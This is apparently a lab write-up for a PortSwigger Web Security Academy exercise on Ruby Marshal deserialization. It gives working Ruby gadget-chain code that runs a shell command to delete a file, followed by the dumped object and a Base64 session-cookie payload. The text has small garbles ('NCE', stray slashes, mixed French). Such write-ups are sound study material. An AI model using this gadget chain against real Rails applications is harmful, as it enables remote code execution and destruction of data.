> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/deserialization/ruby-deserialization-with-documented-gadget.md).

# Ruby Deserialization with Documented Gadget

Ruby Deserialization with Documented Gadget notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.

### Exploiting Ruby Deserialization Using a Documented Gadget Chain

**Lab Background**

This lab uses a session mechanism based on serialization and is based on the **Ruby on Rails** framework. / There are publicly documented\*\* gadgets that allow a \*\* remote code execution (NCE)\*\* via `Marshal`.

Objective:/ Create a malicious serialized object, inject into the session cookie and delete the file:

```bash
/home/carlos/morale.txt
```

Identifier provided:

wiener : peter

**Analysis of the session**

After authentication, the server provides a serialized session cookie in Base64:

{% code overflow="wrap" %}

```bash
BAhvOglVc2VyBzoOQHVzZXJuYW1lSSILd2llbmVyBjoGRUY6EkBhY2Nlc3NfdG9rZW5JIiV6YmI1YWVjejlrZXJzajU3bHZsanloaXQyanR6aTNsMgY7B0YK
```

{% endcode %}

This clearly indicates the use of `Marshal.dump` on the server side.

A documented gadgets string based on the following Ruby classes is used:

* `Gem::SpecFetcher`
* `Gem::Installer`
* `Gem::Requirement`
* `Gem::RequestSet`
* `Net::WriteAdapter`
* `Gem::Package::TarReader`

This string triggers a call to `Kernel.system`.

**Ruby Payload Construction**

The following code is used to create a serialized object running the target command:

```ruby
# Autoload the required classes
Gem::SpecFetcher
Gem::Installer

# prevent the payload from running when we Marshal.dump it
module Gem
  class Requirement
    def marshal_dump
      [@requirements]
    end
  end
end

wa1 = Net::WriteAdapter.new(Kernel, :system)

rs = Gem::RequestSet.allocate
rs.instance_variable_set('@sets', wa1)
rs.instance_variable_set('@git_set', "rm /home/carlos/morale.txt")

wa2 = Net::WriteAdapter.new(rs, :resolve)

i = Gem::Package::TarReader::Entry.allocate
i.instance_variable_set('@read', 0)
i.instance_variable_set('@header', "aaa")


n = Net::BufferedIO.allocate
n.instance_variable_set('@io', i)
n.instance_variable_set('@debug_output', wa2)

t = Gem::Package::TarReader.allocate
t.instance_variable_set('@io', n)

r = Gem::Requirement.allocate
r.instance_variable_set('@requirements', t)

payload = Marshal.dump([Gem::SpecFetcher, Gem::Installer, r])
puts payload
```

```ruby
[cGem::SpecFetchercGem::InstallerU:Gem::Requirement[o:
Gem::Package::TarReader:@ioo:Net::BufferedIO;o:#Gem::Package::TarReader::Entry:
@readi:
@headerI"aaa:ET:@debug_outputo:Net::WriteAdapter:
@socketo:Gem::RequestSet:
@setso;;m
Kernel:@method_id:
system:
@git_setI"rm /home/carlos/morale.txt;
T;:
resolve
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-658f72939e40860c50c28c0289e10a497f1459e4%2F%7B521CCAD3-2CAC-4E01-B1CD-107268C319DA%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Encodage en Base64**

In order to inject payload into the session cookie, it is encoded in Base64:

```java
puts Base64.encode64(payload)
```

Final chain obtained:

{% code overflow="wrap" %}

```bash
BAhbCGMVR2VtOjpTcGVjRmV0Y2hlcmMTR2VtOjpJbnN0YWxsZXJVOhVHZW06OlJlcXVpcmVtZW50WwZvOhxHZW06OlBhY2thZ2U6OlRhclJlYWRlcgY6CEBpb286FE5ldDo6QnVmZmVyZWRJTwc7B286I0dlbTo6UGFja2FnZTo6VGFyUmVhZGVyOjpFbnRyeQc6CkByZWFkaQA6DEBoZWFkZXJJIghhYWEGOgZFVDoSQGRlYnVnX291dHB1dG86Fk5ldDo6V3JpdGVBZGFwdGVyBzoMQHNvY2tldG86FEdlbTo6UmVxdWVzdFNldAc6CkBzZXRzbzsOBzsPbQtLZXJuZWw6D0BtZXRob2RfaWQ6C3N5c3RlbToNQGdpdF9zZXRJIh9ybSAvaG9tZS9jYXJsb3MvbW9yYWxlLnR4dAY7DFQ7EjoMcmVzb2x2ZQ==
```

{% endcode %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-de57fa4300c36198a97dc70a8d16a8e806842c50%2F%7BC67DD4CD-F48D-4BE1-9FB2-B91DFDF214BA%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


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